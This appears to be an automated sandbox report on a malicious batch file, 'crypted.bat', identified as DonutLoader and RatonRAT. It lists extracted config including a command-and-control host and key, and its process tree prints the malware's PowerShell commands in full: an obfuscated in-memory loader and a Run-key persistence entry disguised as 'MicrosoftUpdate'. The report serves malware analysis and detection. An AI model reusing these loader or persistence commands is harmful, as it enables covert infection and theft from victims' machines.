Analysis
- max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/08/2026, 12:36
General
- Target crypted.bat
- Size 3.5MB
- Sample260812-ps3f4sgm2y
- SHA256 94ef364b539bc00d3f2302943712bc3e64951697a76bf7285079d2d82bdaa616
Malware Config
Extracted
-
ratonrat
-
Professional
-
tico-32985.portmap.host:32985
-
CrD4sjUGL3yx2R96ENypybo
-
assist
false
-
box
false
-
box_icon
Error
-
box_msg
I'm the message box description
-
box_title
Hello World
-
defender
false
-
delay
0
-
hide_file
true
-
open_website
false
-
password
t.me/junk_code
-
process_critical
true
-
raw
https://pastebin.com/raw/5BzQ82Z2
-
reconnect
3
-
startup
true
-
tag
Infected
-
uac
false
-
vm
false
-
website
https://t.me/example
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Detects DonutLoader 1 IoCs
- Detects RatonRAT payload 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 52 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 36 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\crypted.bat"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "$b=$env:APPDATA+'\Microsoft\Windows.bat';$v='conhost.exe --headless "'+$b+'"';$r='HKCU:\Software\Microsoft\Windows\CurrentVersion\Run';Set-ItemProperty -Path $r -Name 'MicrosoftUpdate' -Value $v"3⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "function ksrMi([int[]]$c){-join([char[]]$c)};$RPJG=[Type](ksrMi(0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x2E,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79));$yfvcPdl=[Type](ksrMi(0x43,0x6F,0x6E,0x76,0x65,0x72,0x74));$TGorTyHC=[Type](ksrMi(0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x49,0x4F,0x2E,0x46,0x69,0x6C,0x65));$FfNKiQ=ksrMi(0x46,0x72,0x6F,0x6D,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6E,0x67);$yfnSkm=ksrMi(0x4C,0x6F,0x61,0x64);$FTcbsSFz=ksrMi(0x45,0x6E,0x74,0x72,0x79,0x50,0x6F,0x69,0x6E,0x74);$YSkFnM=ksrMi(0x49,0x6E,0x76,0x6F,0x6B,0x65);$ZsMgkhr=ksrMi(0x52,0x65,0x61,0x64,0x41,0x6C,0x6C,0x4C,0x69,0x6E,0x65,0x73);$lines=$TGorTyHC::$ZsMgkhr('C:\Users\Admin\AppData\Local\Temp\crypted.bat');foreach($line in $lines){if($line -like '::*'){$b=$line -replace '::';break}};$bytes=$yfvcPdl::$FfNKiQ($b);$ms=New-Object System.IO.MemoryStream(,$bytes);$gz=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$out=New-Object System.IO.MemoryStream;$gz.CopyTo($out);$RPJG::$yfnSkm($out.ToArray()).$FTcbsSFz.$YSkFnM($CiOPRJoAzahiPPM,$cGsiePHJAsBXhbA)"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
stuff.dll
memory/4532-0-0x00007FFE9AF1F000-0x00007FFE9AF20000-memory.dmp
memory/4532-3-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/4532-4-0x00000159E9120000-0x00000159E9142000-memory.dmp
memory/4532-5-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/4532-6-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/4532-7-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/4532-10-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/4532-9-0x00000159E9190000-0x00000159E92BF000-memory.dmp
memory/5688-19-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-23-0x000001BD2FA30000-0x000001BD2FDE8000-memory.dmp
memory/5688-17-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-18-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-15-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-20-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-21-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-22-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-24-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-16-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-25-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-26-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-14-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-53-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp
memory/5688-29-0x000001BD2F6B0000-0x000001BD2F7DF000-memory.dmp
memory/5884-30-0x000000000A1B0000-0x000000000A426000-memory.dmp
memory/5884-27-0x0000000004C90000-0x0000000004F08000-memory.dmp
memory/5884-75-0x0000000007520000-0x000000000752A000-memory.dmp